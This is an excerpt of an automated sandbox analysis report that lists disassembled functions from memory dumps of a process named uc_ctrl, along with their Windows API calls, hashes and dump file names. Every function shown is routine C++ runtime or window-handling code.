Instruction Fuzzy Hash: 8531ACB1D0421AEBDF14DF94ED81AEEBBB9FF49300F044019FA00A7244E3B5A960CB91

Function 6D1A8660 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1A8667
frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6D1A86D9
?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6D1A8730
_swprintf_s.MSPDB140-MSVCRT ref: 6D1A873D
?_Fput@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AAVios_base@2@DPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6D1A8766

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$ostreambuf_iterator@$D@std@@@2@D@std@@@std@@@std@@Ffmt@?$num_put@_Fput@?$num_put@H_prolog3_U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@_swprintf_sfrexp
String ID:
API String ID: 1176172388-0
Opcode ID: b819b83ee4c92e18019ef9771659bc2bd0702d2339d02c99d8e893000bdc079f
Instruction ID: a8008ba5eb88cebce1a04afaf06cbc0e24458ed5a819cd58ffded2fe50823273
Opcode Fuzzy Hash: b819b83ee4c92e18019ef9771659bc2bd0702d2339d02c99d8e893000bdc079f
Instruction Fuzzy Hash: 5E31E1B5E0421AEBEF14DF94ED41AEEBBB9FF48300F484015F904A7244E3B5A960CB91

Function 6D1B06A0 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B06A7
frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6D1B0719
?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6D1B0770
_swprintf_s.MSPDB140-MSVCRT ref: 6D1B077D
?_Fput@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AAVios_base@2@GPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6D1B07A6

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$ostreambuf_iterator@$Ffmt@?$num_put@_Fput@?$num_put@G@std@@@2@G@std@@@std@@@std@@H_prolog3_U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@_swprintf_sfrexp
String ID:
API String ID: 3084824951-0
Opcode ID: 24b97c2e2fea3d8b2fddcecaafecccd84ebbd56ec3e95d5f3d942c296f3d6c9c
Instruction ID: 0ab45cb724b54acee589edb2f817c1e45f70acef7adb520ebb28b1a2e8066933
Opcode Fuzzy Hash: 24b97c2e2fea3d8b2fddcecaafecccd84ebbd56ec3e95d5f3d942c296f3d6c9c
Instruction Fuzzy Hash: AA31BF71D0421AEBDF14DF94ED91AEEBBB9FF49300F444019FA00A7244E3B5A961CB91

Function 6D1B29C0 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B29C7
frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6D1B2A39
?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,0000004C,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6D1B2A90
_swprintf_s.MSPDB140-MSVCRT ref: 6D1B2A9D
?_Fput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6D1B2AC6

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@std@@@std@@$Ffmt@?$num_put@_Fput@?$num_put@_H_prolog3_V32@Vios_base@2@_W@std@@@2@_swprintf_sfrexp
String ID:
API String ID: 3016303544-0
Opcode ID: e3084044f0f7a4ef6955d2ce85f8591a4f8190c88f0220bb1dde9af82546dea4
Instruction ID: 0819ce7f08f142311cee73dd9b0e80ff73b5c74387a3162d909ea8a9a9ff99db
Opcode Fuzzy Hash: e3084044f0f7a4ef6955d2ce85f8591a4f8190c88f0220bb1dde9af82546dea4
Instruction Fuzzy Hash: 6131ADB1D0421AEBDB24DFA4DC41AEEBBB9FF48300F044415FA01A7284E3B5A964CB91

Function 6D1B2AF0 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B2AF7
frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6D1B2B69
?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6D1B2BC0
_swprintf_s.MSPDB140-MSVCRT ref: 6D1B2BCD
?_Fput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6D1B2BF6

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@std@@@std@@$Ffmt@?$num_put@_Fput@?$num_put@_H_prolog3_V32@Vios_base@2@_W@std@@@2@_swprintf_sfrexp
String ID:
API String ID: 3016303544-0
Opcode ID: 1a3cd1feee6591b8e4ab2c89ea2e54354b171ee9230e4292760c5969fd657b3a
Instruction ID: a46cd46d0c21db33febef3dead1daa9e0aedd29bf583f1ce0df22c16bbcbb177
Opcode Fuzzy Hash: 1a3cd1feee6591b8e4ab2c89ea2e54354b171ee9230e4292760c5969fd657b3a
Instruction Fuzzy Hash: 25317AB590421AEFDB14DF94ED81AEEBBB9FF48300F144019F900A7254E7B5A9648B91

Function 6D19A520 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19A52F
___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19A538
isupper.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D19A574
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19A599
__crtLCMapStringA.MSVCP140(?,00000100,?,00000001,?,00000003,?,00000001), ref: 6D19A5F8

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: String___lc_codepage_func___lc_locale_name_func__crt__pctype_funcisupper
String ID:
API String ID: 3675269872-0
Opcode ID: 6ecad2e6ae4265e4a19dd7c0fb936bf88c3d7e35bdca18fbbbcc0cd910a0bcec
Instruction ID: 08ac9bd6eea29fea6cb19fb3dbfe6ff37bceb37a474a1f0724d25f9824e635f0
Opcode Fuzzy Hash: 6ecad2e6ae4265e4a19dd7c0fb936bf88c3d7e35bdca18fbbbcc0cd910a0bcec
Instruction Fuzzy Hash: F4310272E48216AFEB128A58C894FBD7BB4BB21720F158049EC50DF285D7F4E948C760

Function 6D19A6B0 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19A6BF
___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19A6C8
islower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D19A704
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19A729
__crtLCMapStringA.MSVCP140(?,00000200,?,00000001,?,00000003,?,00000001), ref: 6D19A788

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: String___lc_codepage_func___lc_locale_name_func__crt__pctype_funcislower
String ID:
API String ID: 3151334991-0
Opcode ID: 73e414f653ea2a241faa077585842424ad4248f2ee1efe451e4b677dd199c5a3
Instruction ID: 6371bfdf9c3af923bdb6caa5f701eb219dfb6d62f7d2a052871e0920d1487dbf
Opcode Fuzzy Hash: 73e414f653ea2a241faa077585842424ad4248f2ee1efe451e4b677dd199c5a3
Instruction Fuzzy Hash: 04310431D08206AFDB168A68C896FBD7BF8AF52308F058059FC51AF245D7F5E948C760

Function 00B350F0 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,?,80070057,?,?,?,?,?,00000006), ref: 00B35165
_invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000000,?,?,80070057,?,?,?,?,?,00000006), ref: 00B35171

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID:
API String ID: 2959964966-0
Opcode ID: c949533ed59f8d61cdb330f06e3d5d7b664c074e93abe03e1628365712041656
Instruction ID: 1ec3270b4148eb6a024fb673ffc2fdc6877af34bdc981d2ac71a84ef10a81fd0
Opcode Fuzzy Hash: c949533ed59f8d61cdb330f06e3d5d7b664c074e93abe03e1628365712041656
Instruction Fuzzy Hash: C121EA35600C059FDB29DF19CC84A6EB3E6EFA5310F3080ACE845A7314EB70AD00CBA1

Function 6CF10BF7 Relevance: 7.6, APIs: 5, Instructions: 92windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF10C01
IsWindow.USER32(?), ref: 6CF10C20

Part of subcall function 6CEEFBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBB9

Part of subcall function 6CF1054A: IsWindow.USER32(?), ref: 6CF10555
Part of subcall function 6CF1054A: SendMessageW.USER32(?,00000146,00000000,00000000), ref: 6CF10576
Part of subcall function 6CF1054A: SendMessageW.USER32(?,00000150,00000000,00000000), ref: 6CF1058A
Part of subcall function 6CF1054A: SendMessageW.USER32(?,00000146,00000000,00000000), ref: 6CF105B7
Part of subcall function 6CF1054A: SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 6CF105CB

Part of subcall function 6CF6698E: __EH_prolog3.LIBCMT ref: 6CF66995

Part of subcall function 6CF647BA: SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 6CF647E4

Part of subcall function 6CEEA044: __EH_prolog3.LIBCMT ref: 6CEEA0F2

Part of subcall function 6CF6480E: SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 6CF64838
Part of subcall function 6CF6480E: SendMessageW.USER32(00000000,00000150,?,00000000), ref: 6CF64859

SendMessageW.USER32(?,00000158,000000FF,?), ref: 6CF10CB7
SendMessageW.USER32(?,00000143,00000000,?), ref: 6CF10CF5
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 6CF10D05

Part of subcall function 6CF10414: __EH_prolog3.LIBCMT ref: 6CF1041B

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$H_prolog3$Window$Exception@8H_prolog3_Throw
String ID:
API String ID: 1839825105-0
Opcode ID: b17c0257f02657fafd960309618636f863cea27d4d92b173de1ad58daa4049ab
Instruction ID: 73646ee598e07125f9b6f605feebb7dc53d600398ed4aaefe645801005e9d01c
Opcode Fuzzy Hash: b17c0257f02657fafd960309618636f863cea27d4d92b173de1ad58daa4049ab
Instruction Fuzzy Hash: 5F31C53190829CABDF159F70CC55BDE7B74BF19308F1045ACA65AA2B90DFB05A94CF21

Function 6CF10B01 Relevance: 7.6, APIs: 5, Instructions: 84keyboardwindowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 6CF10B36
GetKeyState.USER32(00000012), ref: 6CF10B64
GetKeyState.USER32(00000011), ref: 6CF10B71
SendMessageW.USER32(?,00000157,00000000,00000000), ref: 6CF10B86
SendMessageW.USER32(?,0000014F,00000001,00000000), ref: 6CF10B9B

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: MessageSendState$Parent
String ID:
API String ID: 1284845784-0
Opcode ID: f4f90e8f259f91e0586dcf0f1a61129ef50d149421f72d6e0a464ade5065a2c4
Instruction ID: 1526969834c043c4ea732f2e16206c2b0efbc449f524377129e27a7be6b097f3
Opcode Fuzzy Hash: f4f90e8f259f91e0586dcf0f1a61129ef50d149421f72d6e0a464ade5065a2c4
Instruction Fuzzy Hash: 0921467134D689ABEF18AB358D14FAE767CFB4674CF00112EF516D6E80DBE09A209350

Function 6D1C09A0 Relevance: 7.6, APIs: 5, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C09A7

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140 ref: 6D1C09F0
?snextc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,0000001C), ref: 6D1C09F7
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,0000001C), ref: 6D1C0A28
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000004,00000000,?,0000001C), ref: 6D1C0ADA

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@_?snextc@?$basic_streambuf@_?sputc@?$basic_streambuf@_H_prolog3H_prolog3_catchV12@
String ID:
API String ID: 4023532899-0
Opcode ID: 5ed4de4544584e27dfa6eea44a039749736f0b649592a832004870ce12c6c542
Instruction ID: 39e072dd42ee52184107a31e00ea406230aec590ed53de93d492dd9754369c72
Opcode Fuzzy Hash: 5ed4de4544584e27dfa6eea44a039749736f0b649592a832004870ce12c6c542
Instruction Fuzzy Hash: 7931E0B19482469FDB01CF99C1507BDBBA0AF64304F19806ED184AB389CBB8CA42C782

Function 6CF0ACCC Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 6CF0ACED
GetWindow.USER32(?,00000005), ref: 6CF0AD25
GetWindowRect.USER32(?,00000000), ref: 6CF0AD51

Part of subcall function 6CEF617E: ScreenToClient.USER32(?,?), ref: 6CEF618D
Part of subcall function 6CEF617E: ScreenToClient.USER32(?,?), ref: 6CEF619A

OffsetRect.USER32(00000000,00000000,?), ref: 6CF0AD69

Part of subcall function 6CEFD922: SetWindowPos.USER32(?,?,00000015,000000FF,000000FF,?,?,?,?,6CEF7FE1,00000000,?,?,000000FF,000000FF,00000015), ref: 6CEFD94A

GetWindow.USER32(?,00000002), ref: 6CF0AD89

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Window$ClientRectScreen$OffsetParent
String ID:
API String ID: 622029514-0
Opcode ID: 8768476cd00437e6d690344782b5100c6338c83d04ad8962c20ce22c44c954e9
Instruction ID: c3fed7b5576d5447e206f2d5562352f6098cc97789cf916b836a50d1695eb33e
Opcode Fuzzy Hash: 8768476cd00437e6d690344782b5100c6338c83d04ad8962c20ce22c44c954e9
Instruction Fuzzy Hash: 38219272A0170AABDF119BA4CD48FAEBBB8EF09725F200519E914E7690DB70D914CB60

Function 6D1C6A20 Relevance: 7.6, APIs: 5, Instructions: 78COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C6A27

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140 ref: 6D1C6A6C
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,0000001C), ref: 6D1C6A73
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(00000000,?,0000001C), ref: 6D1C6A9C
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000004,00000000,?,0000001C), ref: 6D1C6B41

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$U?$char_traits@_W@std@@@std@@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@?sputc@?$basic_streambuf@H_prolog3H_prolog3_catchV12@
String ID:
API String ID: 3750683343-0
Opcode ID: d99abaf67d346341bf6b2bbae15c264c9404d7856531eea20baa0757f3164a37
Instruction ID: ac7a637ec16081ac34c6f2103fe46a0f9a38bbfc3f6da1e67b8537acfcdb97ea
Opcode Fuzzy Hash: d99abaf67d346341bf6b2bbae15c264c9404d7856531eea20baa0757f3164a37
Instruction Fuzzy Hash: 46210675A09249DFDB14CFA8C4A0BBCBBB06F64328F19815DD1515B2D5CBB8CA41C792

Function 6D1C2D10 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C2D17

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6D1C2D4B

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9BEB: __EH_prolog3.LIBCMT ref: 6D1B9BF2
Part of subcall function 6D1B9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAA0,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9BFD
Part of subcall function 6D1B9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9C15
Part of subcall function 6D1B9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9C79

std::locale::~locale.LIBCPMT ref: 6D1C2D60
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,00000001,00000002,?,?,?), ref: 6D1C2D9E
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000030), ref: 6D1C2E07

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

